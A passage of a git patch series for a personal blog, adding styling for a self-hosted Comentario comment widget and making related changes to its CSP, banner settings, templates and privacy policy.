line-height: 110px; + justify-content: center; + align-items: center; + text-align: center; + } + + &:focus { + outline: none; + border-color: $blue-2; + outline: 0; + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.075), 0 0 0 0.25rem transparentize($blue-6, 0.75); + } +} + +.comentario-checkbox-group { + margin-left: 8px; + margin-right: 8px; + + .comentario-checkbox-container { + display: block; + } +} + +.comentario-checkbox-container { + display: inline-block; + min-height: 22px; + padding-left: 24px; + margin-bottom: 2px; + + input { + float: left; + margin-left: -24px; + width: 20px; + height: 20px; + vertical-align: top; + background: #fff no-repeat center; + background-size: contain; + border: 1px solid rgba(0,0,0,.25); + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + + &:checked { + background-color: $primary; + border-color: $primary; + } + &:disabled { + pointer-events: none; + filter: none; + opacity: 0.5; + } + &[disabled], + &:disabled { + ~ label { + cursor: default; + opacity: 0.5; + } + } + + } + + input[type="checkbox"] { + border-radius: 5px; + + &:checked { + background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23fff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); + } + } + + label { + color: var(--cmntr-label-color); + font-size: 13px; + } +} + +.comentario-input-group { + flex: 1 1 100%; + display: flex; + align-items: stretch; + box-shadow: 0 1px 3px rgba(50, 50, 93, .15), 0 1px 0 rgba(0, 0, 0, .02); + border-radius: 4px; + background-color: var(--cmntr-bg); + margin: 8px; + + .comentario-input { + flex-grow: 1; + height: 40px; + background-color: var(--cmntr-bg); + border: none; + outline: none; + padding: 5px 5px 5px 10px; + + &::placeholder { + color: var(--cmntr-input-ph-color); + } + } + + .comentario-btn { + box-shadow: none; + margin: 0; + } +} + +.comentario-form-text { + margin: 2px 8px; + font-size: 13px; + color: var(--cmntr-muted-color); +} + +.comentario-round-check { + input[type="radio"], + input[type="checkbox"] { + display: none; + } + + input[type="radio"] + label, + input[type="checkbox"] + label { + display: block; + position: relative; + padding-left: 35px; + margin-bottom: 5px; + cursor: pointer; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + } + + input[type="radio"] + label:last-child, + input[type="checkbox"] + label:last-child { + margin-bottom: 0; + } + + input[type="radio"] + label:before, + input[type="checkbox"] + label:before { + content: ''; + display: block; + width: 13px; + height: 13px; + margin-top: 2px; + background: $gray-0; + border: 1px solid $gray-3; + border-radius: 3px; + position: absolute; + left: 0; + top: 0; + transition: all .15s; + } + + input[type="radio"]:disabled + label:before, + input[type="checkbox"]:disabled + label:before { + background: $gray-0; + border: 1px solid $gray-4; + opacity: 0.4; + } + + input[type="radio"]:checked + label:before, + input[type="checkbox"]:checked + label:before { + background: $blue-6; + border: 1px solid $blue-6; + } + + input[type="radio"] + label:after, + input[type="checkbox"] + label:after { + position: absolute; + left: -7px; + top: 4px; + content: ''; + display: inline-block; + width: 3px; + height: 7px; + transform: rotate(45deg); + margin-left: 12px; + margin-right: 12px; + border: solid transparent; + border-width: 0 2px 2px 0; + } + + input[type="radio"]:disabled + label:after, + input[type="checkbox"]:disabled + label:after { + border: solid transparent; + border-width: 0 2px 2px 0; + } + + input[type="radio"]:checked + label:after, + input[type="checkbox"]:checked + label:after { + border: solid $gray-0; + border-width: 0 2px 2px 0; + } + + .pitch { + font-size: 14px; + color: #a5a5a5; + line-height: 20px !important; + } +} diff --git a/assets/scss/comments/_mixins.scss b/assets/scss/comments/_mixins.scss new file mode 100644 index 000000000..44505f1b2 --- /dev/null +++ b/assets/scss/comments/_mixins.scss @@ -0,0 +1,57 @@ +@import "colours"; + +@mixin btn-shadow { + box-shadow: 0 0.25rem 0.375rem rgba(50, 50, 93, .11), 0 0.0625rem 0.1875rem rgba(0, 0, 0, .08); +} + +@mixin btn-active-shadow { + box-shadow: inset 0 0.25rem 0.375rem rgba(50, 50, 93, .11), inset 0.0625rem 0.1875rem rgba(0, 0, 0, .08); +} + +@mixin media-breakpoint-up-sm { + @media (min-width: 576px) { + @content; + } +} + +// Styling for correct rendering of comment text +@mixin comment-text { + p { + margin-top: 6px; + margin-bottom: 6px; + } + + // Do not allow Markdown-inserted images to be wider than the card + img { + max-width: 100%; + } + + // Properly style inserted tables + table { + margin-bottom: 12px; + vertical-align: top; + border-color: var(--cmntr-table-border); + caption-side: bottom; + border-collapse: collapse; + + tbody > tr:nth-of-type(odd) > * { + background-color: rgba(var(--cmntr-color), .05); + } + + td, th { + padding: 6px 9px; + border: 1px solid var(--cmntr-table-border); + } + } + + code { + font-family: monospace; + font-size: 13px; + white-space: pre; + } + + pre { + padding: 6px; + background-color: var(--cmntr-bg-shade); + } +} diff --git a/assets/scss/comments/_placeholders.scss b/assets/scss/comments/_placeholders.scss new file mode 100644 index 000000000..8ba426711 --- /dev/null +++ b/assets/scss/comments/_placeholders.scss @@ -0,0 +1,61 @@ +@import "colours"; + +.comentario-ph-button { + display: inline-block; + width: 75px; + height: 32px; + margin: 5px; +} + +.comentario-ph-profile-bar { + height: 60px; + margin-top: -16px; // To offset the real, empty profile bar + padding-top: 0.5rem; + padding-bottom: 0.5rem; + text-align: right; +} + +.comentario-ph-add-comment-host { + height: 130px; + border-radius: 3px; + margin-bottom: 30px; +} + +.comentario-ph-comment-card { + height: 120px; + margin-top: 16px; + padding-left: 12px; + border-top: 1px solid $gray-1; + border-left: 2px solid $gray-4; + + .comentario-ph-card-header { + height: 32px; + margin-top: 6px; + margin-bottom: 12px; + border-radius: 3px; + } + + .comentario-ph-card-text { + height: 12px; + margin-bottom: 6px; + border-radius: 1.5px; + } +} + +.comentario-ph-bg { + background-color: var(--cmntr-placeholder-bg); + opacity: .5; + mask-image: linear-gradient( + 130deg, + var(--cmntr-placeholder-mask) 40%, + rgba(0, 0, 0, .2) 50%, + var(--cmntr-placeholder-mask) 60%); + mask-size: 200% 100%; + animation: comentario-ph-bg 2s linear infinite; +} + +@keyframes comentario-ph-bg { + to { + mask-position: -200% 0%; + } +} diff --git a/assets/scss/comments/_sort-bar.scss b/assets/scss/comments/_sort-bar.scss new file mode 100644 index 000000000..12974395e --- /dev/null +++ b/assets/scss/comments/_sort-bar.scss @@ -0,0 +1,29 @@ +@import "colours"; + +.comentario-sort-bar { + + // Clearfix + &::after { + display: block; + clear: both; + content: ""; + } + + .comentario-sort-buttons { + float: right; + } + + .comentario-btn { + + // The down caret icon + .comentario-icon { + width: 8px; + height: 8px; + transition: transform 0.2s; + } + + &.comentario-sort-asc .comentario-icon { + transform: rotate(180deg); + } + } +} diff --git a/assets/scss/comments/_source-sans.scss b/assets/scss/comments/_source-sans.scss new file mode 100644 index 000000000..6dff83349 --- /dev/null +++ b/assets/scss/comments/_source-sans.scss @@ -0,0 +1,209 @@ +/* cyrillic-ext */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 300; + src: local('Source Sans Pro Light'), local('SourceSansPro-Light'), url([[[.CdnPrefix]]]/en/fonts/source-sans-300-cyrillic-ext.woff2) format('woff2'); + unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; +} + +/* cyrillic */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 300; + src: local('Source Sans Pro Light'), local('SourceSansPro-Light'), url([[[.CdnPrefix]]]/en/fonts/source-sans-300-cyrillic.woff2) format('woff2'); + unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; +} + +/* greek-ext */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 300; + src: local('Source Sans Pro Light'), local('SourceSansPro-Light'), url([[[.CdnPrefix]]]/en/fonts/source-sans-300-greek-ext.woff2) format('woff2'); + unicode-range: U+1F00-1FFF; +} + +/* greek */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 300; + src: local('Source Sans Pro Light'), local('SourceSansPro-Light'), url([[[.CdnPrefix]]]/en/fonts/source-sans-300-greek.woff2) format('woff2'); + unicode-range: U+0370-03FF; +} + +/* vietnamese */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 300; + src: local('Source Sans Pro Light'), local('SourceSansPro-Light'), url([[[.CdnPrefix]]]/en/fonts/source-sans-300-vietnamese.woff2) format('woff2'); + unicode-range: U+0102-0103, U+0110-0111, U+1EA0-1EF9, U+20AB; +} + +/* latin-ext */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 300; + src: local('Source Sans Pro Light'), local('SourceSansPro-Light'), url([[[.CdnPrefix]]]/en/fonts/source-sans-300-latin-ext.woff2) format('woff2'); + unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; +} + +/* latin */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 300; + src: local('Source Sans Pro Light'), local('SourceSansPro-Light'), url([[[.CdnPrefix]]]/en/fonts/source-sans-300-latin.woff2) format('woff2'); + unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; +} + +/* cyrillic-ext */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 400; + src: local('Source Sans Pro Regular'), local('SourceSansPro-Regular'), url([[[.CdnPrefix]]]/en/fonts/source-sans-400-cyrillic-ext.woff2) format('woff2'); + unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; +} + +/* cyrillic */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 400; + src: local('Source Sans Pro Regular'), local('SourceSansPro-Regular'), url([[[.CdnPrefix]]]/en/fonts/source-sans-400-cyrillic.woff2) format('woff2'); + unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; +} + +/* greek-ext */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 400; + src: local('Source Sans Pro Regular'), local('SourceSansPro-Regular'), url([[[.CdnPrefix]]]/en/fonts/source-sans-400-greek-ext.woff2) format('woff2'); + unicode-range: U+1F00-1FFF; +} + +/* greek */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 400; + src: local('Source Sans Pro Regular'), local('SourceSansPro-Regular'), url([[[.CdnPrefix]]]/en/fonts/source-sans-400-greek.woff2) format('woff2'); + unicode-range: U+0370-03FF; +} + +/* vietnamese */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 400; + src: local('Source Sans Pro Regular'), local('SourceSansPro-Regular'), url([[[.CdnPrefix]]]/en/fonts/source-sans-400-vietnamese.woff2) format('woff2'); + unicode-range: U+0102-0103, U+0110-0111, U+1EA0-1EF9, U+20AB; +} + +/* latin-ext */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 400; + src: local('Source Sans Pro Regular'), local('SourceSansPro-Regular'), url([[[.CdnPrefix]]]/en/fonts/source-sans-400-latin-ext.woff2) format('woff2'); + unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; +} + +/* latin */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 400; + src: local('Source Sans Pro Regular'), local('SourceSansPro-Regular'), url([[[.CdnPrefix]]]/en/fonts/source-sans-400-latin.woff2) format('woff2'); + unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; +} + +/* cyrillic-ext */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 700; + src: local('Source Sans Pro Bold'), local('SourceSansPro-Bold'), url([[[.CdnPrefix]]]/en/fonts/source-sans-700-cyrillic-ext.woff2) format('woff2'); + unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; +} + +/* cyrillic */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 700; + src: local('Source Sans Pro Bold'), local('SourceSansPro-Bold'), url([[[.CdnPrefix]]]/en/fonts/source-sans-700-cyrillic.woff2) format('woff2'); + unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; +} + +/* greek-ext */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 700; + src: local('Source Sans Pro Bold'), local('SourceSansPro-Bold'), url([[[.CdnPrefix]]]/en/fonts/source-sans-700-greek-ext.woff2) format('woff2'); + unicode-range: U+1F00-1FFF; +} + +/* greek */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 700; + src: local('Source Sans Pro Bold'), local('SourceSansPro-Bold'), url([[[.CdnPrefix]]]/en/fonts/source-sans-700-greek.woff2) format('woff2'); + unicode-range: U+0370-03FF; +} + +/* vietnamese */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 700; + src: local('Source Sans Pro Bold'), local('SourceSansPro-Bold'), url([[[.CdnPrefix]]]/en/fonts/source-sans-700-vietnamese.woff2) format('woff2'); + unicode-range: U+0102-0103, U+0110-0111, U+1EA0-1EF9, U+20AB; +} + +/* latin-ext */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 700; + src: local('Source Sans Pro Bold'), local('SourceSansPro-Bold'), url([[[.CdnPrefix]]]/en/fonts/source-sans-700-latin-ext.woff2) format('woff2'); + unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; +} + +/* latin */ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-display: swap; + font-weight: 700; + src: local('Source Sans Pro Bold'), local('SourceSansPro-Bold'), url([[[.CdnPrefix]]]/en/fonts/source-sans-700-latin.woff2) format('woff2'); + unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; +} diff --git a/assets/scss/comments/_table.scss b/assets/scss/comments/_table.scss new file mode 100644 index 000000000..31c571f69 --- /dev/null +++ b/assets/scss/comments/_table.scss @@ -0,0 +1,18 @@ +@import "colours"; + +.comentario-table-container { + max-width: 100%; + overflow-x: auto; +} + +.comentario-table { + tr { + &:not(:last-child) { + border-bottom: 1px solid transparentize($gray-6, 0.5); + } + td { + padding: 4px 8px; + } + } +} + diff --git a/assets/scss/comments/_theme.scss b/assets/scss/comments/_theme.scss new file mode 100644 index 000000000..cd663d2c0 --- /dev/null +++ b/assets/scss/comments/_theme.scss @@ -0,0 +1,80 @@ +@import "colours"; + +@mixin theme-props($theme: light) { + // Light theme properties + @if $theme == light { + --cmntr-bg: #{$white}; + --cmntr-bg-shade: #{$gray-1}; + --cmntr-bg-highlight: #{$indigo-2}; + --cmntr-bg-blink: #{$yellow-3}; + --cmntr-danger-bg: #{$red-1}; + --cmntr-deleted-bg: #{$pink-2}; + --cmntr-dlg-header-bg: #{$gray-3}; + --cmntr-input-bg: #{$white}; + --cmntr-pending-bg: #{$gray-2}; + --cmntr-placeholder-bg: #{$gray-3}; + --cmntr-placeholder-mask: #{$gray-9}; + --cmntr-rejected-bg: #{$yellow-1}; + --cmntr-success-bg: #{$green-1}; + --cmntr-warning-bg: #{$yellow-1}; + + --cmntr-color: #{$gray-8}; + --cmntr-danger-color: #{$red-7}; + --cmntr-input-color: #{$gray-7}; + --cmntr-input-ph-color: #{$gray-5}; + --cmntr-input-disabled-color: #{$gray-6}; + --cmntr-label-color: #{$gray-7}; + --cmntr-link-color: #{$blue-9}; + --cmntr-link-hover-color: #{$blue-6}; + --cmntr-muted-color: #{$gray-6}; + --cmntr-score-color: #{$gray-4}; + --cmntr-score-up-color: #{$green-6}; + --cmntr-score-down-color: #{$orange-6}; + --cmntr-sticky-color: #{$yellow-4}; + --cmntr-success-color: #{$green-7}; + --cmntr-warning-color: #{$yellow-7}; + + --cmntr-card-border: #{$gray-1}; + --cmntr-dlg-border: #{$gray-5}; + --cmntr-pending-border: #{$yellow-6}; + --cmntr-table-border: #{$gray-3}; + + // Dark theme properties + } @else { + color-scheme: dark; + --cmntr-bg: #{$gray-9}; + --cmntr-bg-shade: #{$gray-8}; + --cmntr-bg-highlight: #{$indigo-7}; + --cmntr-bg-blink: #{$yellow-6}; + --cmntr-danger-bg: #{$red-9}; + --cmntr-deleted-bg: #{$pink-5}; + --cmntr-dlg-header-bg: #{$gray-6}; + --cmntr-input-bg: #{$gray-9}; + --cmntr-pending-bg: #{$gray-7}; + --cmntr-placeholder-bg: #{$gray-6}; + --cmntr-rejected-bg: #{$yellow-8}; + --cmntr-success-bg: #{$green-8}; + --cmntr-warning-bg: #{$yellow-8}; + + --cmntr-color: #{$gray-1}; + --cmntr-danger-color: #{$red-2}; + --cmntr-input-color: #{$gray-2}; + --cmntr-input-ph-color: #{$gray-4}; + --cmntr-input-disabled-color: #{$gray-3}; + --cmntr-label-color: #{$gray-2}; + --cmntr-link-color: #{$blue-3}; + --cmntr-link-hover-color: #{$blue-6}; + --cmntr-muted-color: #{$gray-3}; + --cmntr-score-color: #{$gray-5}; + --cmntr-score-up-color: #{$green-3}; + --cmntr-score-down-color: #{$orange-3}; + --cmntr-sticky-color: #{$yellow-5}; + --cmntr-success-color: #{$green-2}; + --cmntr-warning-color: #{$yellow-2}; + + --cmntr-card-border: #{$gray-8}; + --cmntr-dlg-border: #{$gray-4}; + --cmntr-pending-border: #{$yellow-3}; + --cmntr-table-border: #{$gray-6}; + } +} diff --git a/assets/scss/comments/_toolbar.scss b/assets/scss/comments/_toolbar.scss new file mode 100644 index 000000000..c4afb17c6 --- /dev/null +++ b/assets/scss/comments/_toolbar.scss @@ -0,0 +1,40 @@ +@import "colours"; + +.comentario-toolbar { + display: flex; + flex-wrap: wrap; + justify-content: space-between; + + .comentario-toolbar-section { + display: flex; + align-items: center; + } + + .comentario-btn-tool { + --cmntr-btn-color: var(--cmntr-muted-color); + + margin: 0; + padding: 0; + width: 32px; + height: 32px; + opacity: 0.5; + + &.comentario-btn-lg { + width: 40px; + height: 40px; + + .comentario-icon { + width: 1.25em; + height: 1.25em; + } + } + } + + &.comentario-disabled { + background-color: var(--cmntr-bg-shade); + + .comentario-btn-tool { + pointer-events: none; + } + } +} diff --git a/partials/_includes/head.html b/partials/_includes/head.html index 05d3676c7..c3133bbad 100644 --- a/partials/_includes/head.html +++ b/partials/_includes/head.html @@ -38,5 +38,9 @@ {% endfor %} {% endif %} + {% if comments %} + + {% endif %} + \ No newline at end of file diff --git a/partials/_includes/layouts/post-default.njk b/partials/_includes/layouts/post-default.njk index bf8880499..992048381 100644 --- a/partials/_includes/layouts/post-default.njk +++ b/partials/_includes/layouts/post-default.njk @@ -49,7 +49,7 @@ LMK if you know a better (less hacky) way of doing this. {% include "post/related.html" %} {% if comments %}
    -
    +
    {% include "post/comments.html" %}
    {% endif %} diff --git a/partials/_includes/post/comments.html b/partials/_includes/post/comments.html index 864fe8115..bec27e3af 100644 --- a/partials/_includes/post/comments.html +++ b/partials/_includes/post/comments.html @@ -7,7 +7,7 @@ #} {#

    Commenting has vanished into a blackhole and shall return some time in the future (or past?)! Time paradoxes not guaranteed. If you have any feedback or suggestions, please direct your subspace frequencies to the contact form. Thanks!

    #} - + {% else %} {# Never enable Disqus comments in non-prod. It'll mess with their identifier machinery. #}

    Comments have been disabled in non-production.

    From bdc67cb7467348783054713b1076fd9941e23dd5 Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Wed, 28 Aug 2024 20:01:46 +0800 Subject: [PATCH 26/34] fix(ui): small fixes and adjustments --- assets/scss/comments.scss | 21 ++++++++++++++++++--- assets/scss/comments/_comment-card.scss | 3 +++ 2 files changed, 21 insertions(+), 3 deletions(-) diff --git a/assets/scss/comments.scss b/assets/scss/comments.scss index c9a0e5018..39ac01297 100644 --- a/assets/scss/comments.scss +++ b/assets/scss/comments.scss @@ -10,13 +10,13 @@ comentario-comments { // Dark theme properties, selected automatically with the dark mode, but only when no theme is explicitly set @media (prefers-color-scheme: dark) { - &:not([theme]) { + html[data-theme=dark] & { @include theme-props(dark); } } // Dark theme properties selected explicitly with [theme="dark"] on the element - &[theme=dark] { + html[data-theme=dark] & { @include theme-props(dark); } } @@ -141,4 +141,19 @@ comentario-comments { .comentario-card-body { // Handle overflow. overflow: auto; -} \ No newline at end of file +} + +// Custom: align error box background with danger alert. +.comentario-root .comentario-message-box.comentario-error { + html[data-theme="light"] & { + background-color: #f8d7da; + } + html[data-theme="dark"] & { + background-color: #2c0b0e; + } +} + +// Fix `code` color. +.comentario-error code { + color: inherit; +} diff --git a/assets/scss/comments/_comment-card.scss b/assets/scss/comments/_comment-card.scss index 9296dfc8f..1659d2075 100644 --- a/assets/scss/comments/_comment-card.scss +++ b/assets/scss/comments/_comment-card.scss @@ -44,6 +44,9 @@ // Custom: extra padding so that highlight looks more spacy and less choked. margin-left: -10px; padding-left: 10px; + + // Add some breather space to the right. + padding-right: 6px; } .comentario-card-children { From d663cfd0406b06d666cde5288c6b137400d1ef64 Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Wed, 28 Aug 2024 20:01:59 +0800 Subject: [PATCH 27/34] feat: try to fix mobile default load --- partials/_includes/utilities/metadata.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/partials/_includes/utilities/metadata.html b/partials/_includes/utilities/metadata.html index e1018a2e5..66c05eaa5 100644 --- a/partials/_includes/utilities/metadata.html +++ b/partials/_includes/utilities/metadata.html @@ -30,7 +30,7 @@ {# Compatibility #} - + {# Meta: Keywords #} {# List a bunch of keywords which make sense for this page. #} From e8fc677769321de9c5853073e503a9d0f1d4af28 Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Fri, 30 Aug 2024 18:29:59 +0800 Subject: [PATCH 28/34] fix: csp for images --- partials/_data/csp.js | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/partials/_data/csp.js b/partials/_data/csp.js index 10c5462fe..445cc9795 100644 --- a/partials/_data/csp.js +++ b/partials/_data/csp.js @@ -46,7 +46,8 @@ module.exports = compileCsp( .add('cdn.jsdelivr.net') .add('cdnjs.cloudflare.com'), tag('img') - .add('data:'), + .add('data:') + .add('comments.trebledj.me'), // .add('c.disquscdn.com'), // .add('*') tag('frame') From 41dc7887499310a786ba7a8dccc0caf75f2b711f Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Fri, 30 Aug 2024 18:30:16 +0800 Subject: [PATCH 29/34] chore: comments.html --- partials/_includes/post/comments.html | 16 +++------------- 1 file changed, 3 insertions(+), 13 deletions(-) diff --git a/partials/_includes/post/comments.html b/partials/_includes/post/comments.html index bec27e3af..20e2eb206 100644 --- a/partials/_includes/post/comments.html +++ b/partials/_includes/post/comments.html @@ -1,14 +1,4 @@ -{% if site.environment == 'production' %} - {#
    - {% include "utilities/disqus.html" %} - #} - {#

    Commenting has vanished into a blackhole and shall return some time in the future (or past?)! Time paradoxes not guaranteed. If you have any feedback or suggestions, please direct your subspace frequencies to the contact form. Thanks!

    #} - - -{% else %} - {# Never enable Disqus comments in non-prod. It'll mess with their identifier machinery. #} -

    Comments have been disabled in non-production.

    -{% endif %} \ No newline at end of file +{#

    Commenting has vanished into a blackhole and shall return some time in the future or past! Time paradoxes not guaranteed. If you have any feedback or suggestions, please direct your subspace frequencies to the contact form. Thanks!

    #} + + \ No newline at end of file From fe2236cf0d817ff048aa1ad3ce15fa55417df8b9 Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Fri, 30 Aug 2024 18:30:21 +0800 Subject: [PATCH 30/34] chore: remove debug metadata --- partials/_includes/utilities/metadata.html | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/partials/_includes/utilities/metadata.html b/partials/_includes/utilities/metadata.html index 66c05eaa5..874d0b208 100644 --- a/partials/_includes/utilities/metadata.html +++ b/partials/_includes/utilities/metadata.html @@ -3,12 +3,12 @@ {% set isArticle = page.url.startsWith("/posts/") and layout.startsWith("layouts/post-") %} {% if title %} - +{# #} {% set safeTitle = title | stripBetweenTags(['sup', 'sub']) | striptags %} - +{# #} {% endif %} {% if excerpt %} - +{# #} {% set safeExcerpt = excerpt | mdInline | safe | striptags %} {% endif %} From 50aa95053b54ba3b26a973340d6af4e2db48e160 Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Fri, 30 Aug 2024 18:49:34 +0800 Subject: [PATCH 31/34] chore: update comments and banner --- partials/_data/site.js | 4 ++-- partials/_includes/post/comments.html | 1 + 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/partials/_data/site.js b/partials/_data/site.js index 044771350..a1f0bba55 100644 --- a/partials/_data/site.js +++ b/partials/_data/site.js @@ -82,7 +82,7 @@ module.exports = function () { combined: true, // Combines all lightbox images in a post into a single gallery. }, banner: { - enabled: false, + enabled: true, sticky: true, closeButton: true, disableInPosts: true, // Don't detract from content. @@ -93,7 +93,7 @@ module.exports = function () { icon_style: '--fa-animation-delay: 5s; --fa-animation-duration: 3s', /* eslint-disable max-len */ content: multiline(` - [***I'm now a Certified Offensive Waterblower!***](/posts/im-a-certified-offensive-waterblower){.text-warning} + Comments are back! Privacy-focused, without ads, bloatware, and trackers. `), /* eslint-enable max-len */ hash() { diff --git a/partials/_includes/post/comments.html b/partials/_includes/post/comments.html index 20e2eb206..e3312f940 100644 --- a/partials/_includes/post/comments.html +++ b/partials/_includes/post/comments.html @@ -1,4 +1,5 @@ {#

    Commenting has vanished into a blackhole and shall return some time in the future or past! Time paradoxes not guaranteed. If you have any feedback or suggestions, please direct your subspace frequencies to the contact form. Thanks!

    #} +

    Comments are back! Privacy-focused, without ads, bloatware, and trackers.

    \ No newline at end of file From a0f826df6dd7b17c98c991e8359f226d40f8e6d2 Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Fri, 30 Aug 2024 18:59:40 +0800 Subject: [PATCH 32/34] chore: nah, no banner needed --- partials/_data/site.js | 4 ++-- partials/_includes/post/comments.html | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/partials/_data/site.js b/partials/_data/site.js index a1f0bba55..87bf5b76e 100644 --- a/partials/_data/site.js +++ b/partials/_data/site.js @@ -82,14 +82,14 @@ module.exports = function () { combined: true, // Combines all lightbox images in a post into a single gallery. }, banner: { - enabled: true, + enabled: false, sticky: true, closeButton: true, disableInPosts: true, // Don't detract from content. scope: 'local', // Possible values: 'session', 'local', ''. // bgColor: 'primary', // Any Bootstrap `bg-` values. // fgColor: 'black', // Any Bootstrap `text-` values. - icon: 'fas fa-droplet', + icon: 'fas fa-comments', icon_style: '--fa-animation-delay: 5s; --fa-animation-duration: 3s', /* eslint-disable max-len */ content: multiline(` diff --git a/partials/_includes/post/comments.html b/partials/_includes/post/comments.html index e3312f940..93f98d5fe 100644 --- a/partials/_includes/post/comments.html +++ b/partials/_includes/post/comments.html @@ -1,5 +1,5 @@ {#

    Commenting has vanished into a blackhole and shall return some time in the future or past! Time paradoxes not guaranteed. If you have any feedback or suggestions, please direct your subspace frequencies to the contact form. Thanks!

    #} -

    Comments are back! Privacy-focused, without ads, bloatware, and trackers.

    +

    Comments are back! Privacy-focused, without ads, bloatware, and trackers. Be one of the first to contribute to the discussion — I'd love to hear your thoughts.

    \ No newline at end of file From 7267bc26f2e9de57060fa6eb5fa312cfc6e1f3c1 Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Fri, 30 Aug 2024 19:16:13 +0800 Subject: [PATCH 33/34] content: update privacy policy --- content/pages/postlike/privacy-policy.md | 20 +++++++------------- 1 file changed, 7 insertions(+), 13 deletions(-) diff --git a/content/pages/postlike/privacy-policy.md b/content/pages/postlike/privacy-policy.md index d965137a5..b6b1661d7 100644 --- a/content/pages/postlike/privacy-policy.md +++ b/content/pages/postlike/privacy-policy.md @@ -19,29 +19,28 @@ related: We collect the following personal data: * **Technical Data**: IP address, Browser type, Device type, Referrer data. - * This is collected by Cloudflare Pages, Cloudflare Web Analytics, {# Disqus, #} and jsDelivr. + * This is collected by Cloudflare Pages, Cloudflare Web Analytics, and jsDelivr. * {{ site.title }} will only access such data in aggregate forms, and thus won't (be able to) link this data back to you. * This data is provided automatically by your browser when you load a web page. A VPN may be used to suppress or hide such data. * **Cookies** - * This is data associated with you (based on your browser activity) and may be used by third-party services to track you. - * Used by Cloudflare Pages^[Cloudflare Pages may use cookies to combat spam and malicious activity. See their [cookie policy](https://www.cloudflare.com/cookie-policy/).]{# , Disqus, #} and SoundCloud embeds. + * This is data associated with you due to activities such as login/commenting. + * Used by Cloudflare 